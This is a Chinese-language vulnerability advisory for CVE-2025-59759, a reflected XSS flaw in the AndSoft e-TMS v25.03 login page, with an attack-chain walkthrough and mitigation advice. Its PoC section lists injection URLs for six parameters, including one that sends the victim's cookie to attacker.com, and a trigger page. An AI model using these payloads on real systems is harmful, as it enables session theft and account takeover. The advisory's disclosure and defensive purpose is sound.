IPBUF安全漏洞报告
English
CVE-2025-59759 CVSS 6.1 中危

CVE-2025-59759:AndSoft e-TMS反射型XSS漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59759
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AndSoft e-TMS

相关标签

XSS反射型XSS跨站脚本CVE-2025-59759AndSofte-TMS运输管理系统TMSINCIBE中危漏洞

漏洞概述

CVE-2025-59759是AndSoft e-TMS v25.03版本中存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞由西班牙国家网络安全研究所(INCIBE)发现并报告,CVSS评分为6.1,属于中危级别。AndSoft e-TMS是一款运输管理系统(TMS),广泛应用于物流和运输行业,用于管理运输订单、车辆调度、物流跟踪等业务。

该漏洞存在于应用的登录页面路径'/clt/LOGINFRM_DELCROIX.ASP'中,涉及多个参数未经过充分的输入验证和输出编码,导致攻击者可以通过构造恶意URL,将JavaScript代码注入到页面中。当受害者点击或访问该恶意链接时,嵌入的恶意脚本将在受害者的浏览器上下文中执行。

由于该漏洞无需认证即可利用(PR:N),且仅通过网络即可发起攻击(AV:N),攻击者可以通过社会工程学手段(如钓鱼邮件、即时消息等)诱导用户点击恶意链接,从而窃取用户的会话凭证、个人信息,或执行其他恶意操作。受影响的参数包括'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'等六个参数,覆盖范围较广,增加了漏洞被利用的风险。

此漏洞的披露时间为2025年10月2日,由INCIBE的cve-coordination团队负责协调披露工作。该漏洞的CVSS向量表明其影响范围为变更型(Scope Changed),意味着漏洞的影响超出了易受攻击组件本身,可能影响到其他组件或用户数据。

技术细节

该漏洞属于典型的反射型XSS漏洞,其根本原因在于AndSoft e-TMS v25.03的登录页面(/clt/LOGINFRM_DELCROIX.ASP)在处理用户输入参数时,未对以下六个参数进行充分的过滤和HTML实体编码:'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'。

从技术层面分析,当用户访问包含恶意参数的URL时,服务器端脚本会直接将参数值嵌入到返回的HTML页面中,而没有进行适当的输出编码(如HTML实体编码、JavaScript编码等)。攻击者可以利用这一缺陷,在参数值中注入任意的HTML标签和JavaScript代码。

利用方式如下:
1. 攻击者构造一个包含恶意JavaScript代码的URL,例如在参数中注入`<script>alert(document.cookie)</script>`或更复杂的payload(如窃取cookie、发起钓鱼弹窗、重定向到恶意站点等)。
2. 攻击者通过社会工程学手段(如钓鱼邮件、即时通讯工具等)将恶意URL发送给目标用户。
3. 受害者点击该URL后,浏览器向e-TMS服务器发起请求,服务器将未经编码的参数值直接返回到响应页面中。
4. 浏览器解析返回的HTML,将恶意JavaScript代码作为合法脚本执行。
5. 由于脚本在受害者的会话上下文中执行,攻击者可以窃取会话cookie、获取敏感信息、进行钓鱼攻击,或利用受害者的权限执行其他操作。

该漏洞的攻击复杂度较低(AC:L),无需认证(PR:N),但需要用户交互(UI:R),即需要受害者主动点击恶意链接。漏洞的影响范围为变更型(S:C),意味着漏洞的影响可能超出登录页面组件本身。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过公开渠道或扫描工具识别目标组织使用AndSoft e-TMS v25.03系统,并定位登录页面路径/clt/LOGINFRM_DELCROIX.ASP。
STEP 2
步骤2:漏洞验证
攻击者构造包含XSS payload的测试URL,针对'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'等参数逐一测试,确认哪些参数存在反射型XSS漏洞。
STEP 3
步骤3:恶意URL构造
攻击者根据确认的可利用参数,构造包含恶意JavaScript代码的URL。payload可能包括窃取cookie、重定向到钓鱼页面、键盘记录器或伪造登录表单等恶意功能。
STEP 4
步骤4:社会工程学投递
攻击者通过钓鱼邮件、即时通讯工具、社交媒体或其他渠道将恶意URL发送给目标用户,利用社会工程学手段诱导用户点击。
STEP 5
步骤5:恶意脚本执行
受害者点击恶意URL后,浏览器向e-TMS服务器发起请求,服务器将未经编码的参数值直接返回到响应页面中,浏览器解析并执行嵌入的恶意JavaScript代码。
STEP 6
步骤6:数据窃取与权限滥用
恶意脚本在受害者浏览器上下文中执行,攻击者窃取会话cookie、获取敏感信息、进行钓鱼攻击或利用受害者权限执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-59759 PoC - Reflected XSS in AndSoft e-TMS v25.03 --> <!-- Vulnerable endpoint: /clt/LOGINFRM_DELCROIX.ASP --> <!-- Vulnerable parameters: l, demo, demo2, TNTLOGIN, UO, SuppConn --> <!-- Basic PoC URL examples --> <!-- Payload 1: Simple script injection via 'l' parameter --> https://target.com/clt/LOGINFRM_DELCROIX.ASP?l=<script>alert('XSS-CVE-2025-59759')</script> <!-- Payload 2: Cookie stealing via 'demo' parameter --> https://target.com/clt/LOGINFRM_DELCROIX.ASP?demo=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Payload 3: Using 'TNTLOGIN' parameter --> https://target.com/clt/LOGINFRM_DELCROIX.ASP?TNTLOGIN="><script>alert(document.domain)</script> <!-- Payload 4: Using 'UO' parameter --> https://target.com/clt/LOGINFRM_DELCROIX.ASP?UO=<img src=x onerror=alert('XSS')> <!-- Payload 5: Using 'SuppConn' parameter --> https://target.com/clt/LOGINFRM_DELCROIX.ASP?SuppConn=<svg onload=alert(1)> <!-- Payload 6: Using 'demo2' parameter --> https://target.com/clt/LOGINFRM_DELCROIX.ASP?demo2=<body onload=alert('CVE-2025-59759')> <!-- HTML PoC page to demonstrate the vulnerability --> <!DOCTYPE html> <html> <head> <title>CVE-2025-59759 PoC</title> </head> <body> <h1>CVE-2025-59759 - Reflected XSS PoC</h1> <p>Click the link below to trigger the XSS:</p> <a href="https://target.com/clt/LOGINFRM_DELCROIX.ASP?l=<script>alert('XSS-CVE-2025-59759')</script>" target="_blank">Trigger XSS</a> <br> <iframe src="https://target.com/clt/LOGINFRM_DELCROIX.ASP?demo=<script>alert(document.cookie)</script>" width="500" height="300"></iframe> </body> </html>

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)部署Web应用防火墙(WAF)规则,拦截包含常见XSS payload特征的请求;2)实施Content Security Policy(CSP),限制页面中脚本的执行来源;3)对登录页面(/clt/LOGINFRM_DELCROIX.ASP)实施访问控制,限制仅可信IP地址访问;4)提高用户安全意识,警惕不明来源的链接,特别是涉及e-TMS系统的链接;5)定期清理浏览器会话cookie,降低会话被窃取后的影响;6)监控Web服务器日志,识别异常的请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表